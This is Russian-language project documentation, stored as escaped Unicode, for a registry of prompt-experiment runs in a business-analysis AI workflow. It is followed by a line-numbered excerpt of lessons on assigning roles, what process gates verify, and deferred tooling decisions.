\u0441\u0443\u0434\u0438\u043c \u043e\u0431 \u0443\u0441\u043f\u0435\u0445\u0435 | \u041f\u0440\u0438\u043c\u0435\u0440 |\\n| --- | --- | --- | --- | --- |\\n| `execution` | \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. | \u0424\u0422, \u0422\u0417, User Story, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 UC, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 acceptance criteria. | [`RUN-0012`](2026/RUN-0012/metadata.yaml) \u2014 \u0424\u0422 \u043f\u043e BCREQ-1069. |\\n| `statistics` | \u041d\u0430\u043a\u043e\u043f\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u043e \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u2194 \u0418\u0418\u00bb. | \u0417\u0430\u043c\u0435\u0440\u044b, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438. | \u0417\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0431\u043e\u0440\u043a\u0438, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b. | [`RUN-0009`](2026/RUN-0009/metadata.yaml) \u2014 A/B \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. |\\n| `legacy` | \u0417\u0430\u043f\u0438\u0441\u044c, \u0442\u0438\u043f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. | \u2014 | \u041d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u044b\u0431\u043e\u0440\u043a\u0435. | \u2014 |\\n\\n### \u041a\u0430\u043a \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0442\u0438\u043f\\n\\n\u0422\u0438\u043f \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 **\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0446\u0435\u043b\u0438 \u0432 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0434\u0430\u0447\u0438** (issue), \u0430 \u043d\u0435 \u0438\u0437 \u0441\u043e\u0441\u0442\u0430\u0432\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\\n| \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0446\u0435\u043b\u0438 | \u0422\u0438\u043f |\\n| --- | --- |\\n| \u00ab\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u00ab\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb, \u00ab\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u00bb | `statistics` |\\n| \u00ab\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, \u00ab\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0424\u0422/\u0422\u0417/\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb, \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb | `execution` |\\n\\n\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0424\u0422 \u0438\u043b\u0438 \u043c\u0430\u0442\u0440\u0438\u0446\u044b UC \u0432 `outputs/` \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u043e\u0433\u043e\u043d `execution` \u2014 \u0432\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435\\n\u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0434\u0430\u0447\u0438. \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u2014\\n[`standards/runs-contract-standard.md`](../standards/runs-contract-standard.md#\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439-\u0432\u044b\u0431\u043e\u0440\u0430-\u0442\u0438\u043f\u0430-\u043f\u0440\u043e\u0433\u043e\u043d\u0430).\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u0434\u0432\u0443\u0445 \u0442\u0438\u043f\u043e\u0432 \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f: \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e `run_type`. \u0415\u0441\u043b\u0438 \u0438\u0437 \u043f\u0440\u043e\u0433\u043e\u043d\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, \u043e\u043d\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0441 `run_type: statistics` \u0438\\n\u0441\u0441\u044b\u043b\u043a\u043e\u0439 `related_runs`.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041f\u0440\u043e\u0433\u043e\u043d\u044b **\u043d\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0442** \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432:\\n\\n- \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0444\u0430\u0439\u043b\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 `runs/YYYY/RUN-XXXX/`;\\n- \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 `prompts/`, `kb/`, `site/data/`, `patterns/`;\\n- \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\\n  `related_artifacts`;\\n- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438.\\n\\n## \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432\\n\\n| \u041f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433 | \u0427\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f |\\n| --- | --- |\\n| `inputs/` | \u0421\u044b\u0440\u043e\u0439 \u0432\u0445\u043e\u0434, \u0432\u044b\u0434\u0435\u0440\u0436\u043a\u0438 \u0411\u0417, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438. |\\n| `outputs/` | \u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0435 \u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. |\\n| `feedback/` | \u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0440\u0435\u0432\u044c\u044e, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443. |\\n| `logs/` | \u041b\u043e\u0433\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430, \u043c\u0435\u0442\u0440\u0438\u043a\u0438, \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b. |\\n\\n\u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0430 \u043f\u0443\u0441\u0442\u043e\u0439, \u043e\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `.gitkeep`, \u0447\u0442\u043e\u0431\u044b \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n\u043a\u0430\u0436\u0434\u043e\u0433\u043e run \u0431\u044b\u043b\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0439.\\n\\n## \u0420\u0435\u0435\u0441\u0442\u0440 \u0437\u0430\u043f\u0438\u0441\u0435\u0439\\n\\n`RUN-0001`\u2013`RUN-0012` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Phase 0 (issue #123); \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438\\n\u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443.\\n\\n| Run | \u0414\u0430\u0442\u0430 | `run_type` | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- | --- | --- | --- |\\n| [`RUN-0001`](2026/RUN-0001/metadata.yaml) | 2026-05-26 | `execution` | prompt-experiment | [`tz-stats-prototype-2026-05.md`](2026/RUN-0001/outputs/tz-stats-prototype-2026-05.md) |\\n| [`RUN-0002`](2026/RUN-0002/metadata.yaml) | 2026-05-26 | `execution` | user-story-generation | [`user-story_gen-from-raw-request_2026-05-26.md`](2026/RUN-0002/outputs/user-story_gen-from-raw-request_2026-05-26.md) |\\n| [`RUN-0003`](2026/RUN-0003/metadata.yaml) | 2026-05-26 | `execution` | usecase-generation | [`usecase_gen-stepwise-alignment_2026-05-26.md`](2026/RUN-0003/outputs/usecase_gen-stepwise-alignment_2026-05-26.md) |\\n| [`RUN-0004`](2026/RUN-0004/metadata.yaml) | 2026-05-26 | `statistics` | prompt-audit | [`prompts-audit-2026-05-26.md`](2026/RUN-0004/outputs/prompts-audit-2026-05-26.md) |\\n| [`RUN-0005`](2026/RUN-0005/metadata.yaml) | 2026-05-26 | `statistics` | prompt-selftest | [`prompts-selftest-2026-05-26.md`](2026/RUN-0005/outputs/prompts-selftest-2026-05-26.md) |\\n| [`RUN-0006`](2026/RUN-0006/metadata.yaml) | 2026-06-13 | `execution` | session-debug-documentation | [`session-debug-summarizer-2026-06-13.md`](2026/RUN-0006/outputs/session-debug-summarizer-2026-06-13.md) |\\n| [`RUN-0007`](2026/RUN-0007/metadata.yaml) | 2026-06-16 | `execution` | fr-generation | [`fr-generation-1027-live_2026-06-16.md`](2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md) |\\n| [`RUN-0008`](2026/RUN-0008/metadata.yaml) | 2026-06-16 | `statistics` | kb-citation-check | [`kb-citation-check-2026-06-16.md`](2026/RUN-0008/outputs/kb-citation-check-2026-06-16.md) |\\n| [`RUN-0009`](2026/RUN-0009/metadata.yaml) | 2026-06-16 | `statistics` | industry-standards-ab-check | [`standards-applied-ab-2026-06-16.md`](2026/RUN-0009/outputs/standards-applied-ab-2026-06-16.md) |\\n| [`RUN-0010`](2026/RUN-0010/metadata.yaml) | 2026-06-17 | `statistics` | bcreq-1025-email-routing | [`2026-06-17-bcreq-1025-email-routing.md`](2026/RUN-0010/outputs/2026-06-17-bcreq-1025-email-routing.md), [`analysis-bcreq-1025-2026-06-17.md`](2026/RUN-0010/outputs/analysis-bcreq-1025-2026-06-17.md) |\\n| [`RUN-0011`](2026/RUN-0011/metadata.yaml) | 2026-06-18 | `execution` | multichannel-agent-workload | [`outputs/README.md`](2026/RUN-0011/outputs/README.md), [`logs/experiment-log.md`](2026/RUN-0011/logs/experiment-log.md) |\\n| [`RUN-0012`](2026/RUN-0012/metadata.yaml) | 2026-07-14 | `execution` | bcreq-1069-restricted-api-key | [`outputs/final-artifact.md`](2026/RUN-0012/outputs/final-artifact.md), [`outputs/README.md`](2026/RUN-0012/outputs/README.md) |\\n| [`RUN-0013`](2026/RUN-0013/metadata.yaml) | 2026-07-31 | `statistics` | bcreq-1059-multichannel-slots-limits | [`outputs/final-artifact.md`](2026/RUN-0013/outputs/final-artifact.md), [`outputs/README.md`](2026/RUN-0013/outputs/README.md) |\\n| [`RUN-0014`](2026/RUN-0014/metadata.yaml) | 2026-07-24 | `statistics` | task-1075-amocrm-deal-on-call | [`outputs/README.md`](2026/RUN-0014/outputs/README.md), [`outputs/final-artifact.md`](2026/RUN-0014/outputs/final-artifact.md), [`feedback/ba-review.md`](2026/RUN-0014/feedback/ba-review.md) |\\n| [`RUN-0015`](2026/RUN-0015/metadata.yaml) | 2026-08-21 | `statistics` | fr-validation-57204-ivr-scheme-amocrm-rule | [`outputs/README.md`](2026/RUN-0015/outputs/README.md), [`outputs/quality-findings.md`](2026/RUN-0015/outputs/quality-findings.md), [`outputs/final-artifact.md`](2026/RUN-0015/outputs/final-artifact.md), [`logs/metrics.md`](2026/RUN-0015/logs/metrics.md) |\\n| [`RUN-0016`](2026/RUN-0016/metadata.yaml) | 2026-08-21 | `statistics` | fr-drafting-58093-amocrm-deal-card-new-tab | [`outputs/README.md`](2026/RUN-0016/outputs/README.md), [`outputs/quality-findings.md`](2026/RUN-0016/outputs/quality-findings.md), [`logs/metrics.md`](2026/RUN-0016/logs/metrics.md) |\\n| [`RUN-0017`](2026/RUN-0017/metadata.yaml) | 2026-07-24 | `statistics` | task-1076-vks-artifacts-bpmsoft | [`outputs/README.md`](2026/RUN-0017/outputs/README.md), [`outputs/final-artifact.md`](2026/RUN-0017/outputs/final-artifact.md) |\\n| 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\u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n415\\t   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n416\\t   [\u0413-40](#\u0433-40).\\n417\\t8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n418\\t   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0435\u0441\u044c \u043f\u0430\u043a\u0435\u0442;\\n419\\t   \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0440\u0430\u0441\u0442\u0451\u0442 \u0432\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0448\u0430\u0433\u043e\u0432. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n420\\t   [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30).\\n421\\t9. **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.** \u041f\u043b\u0430\u043d n8n \u0441\u043d\u044f\u0442\\n422\\t   \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a \u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n423\\t   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n424\\t   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n425\\t\\n426\\t## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n427\\t\\n428\\t\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n429\\t\\n430\\t8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n431\\t   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n432\\t   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n433\\t   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n434\\t9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n435\\t   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n436\\t   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n437\\t10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n438\\t    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n439\\t    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n440\\t    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n441\\t    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n442\\t11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430.** \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u0434\u043e\\n443\\t    \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e; \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0435\u00bb\\n444\\t    \u2014 \u043d\u0435\u0442 ([\u0413-54](#\u0433-54)).\\n445\\t12. **\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u0442\u043e\u043c 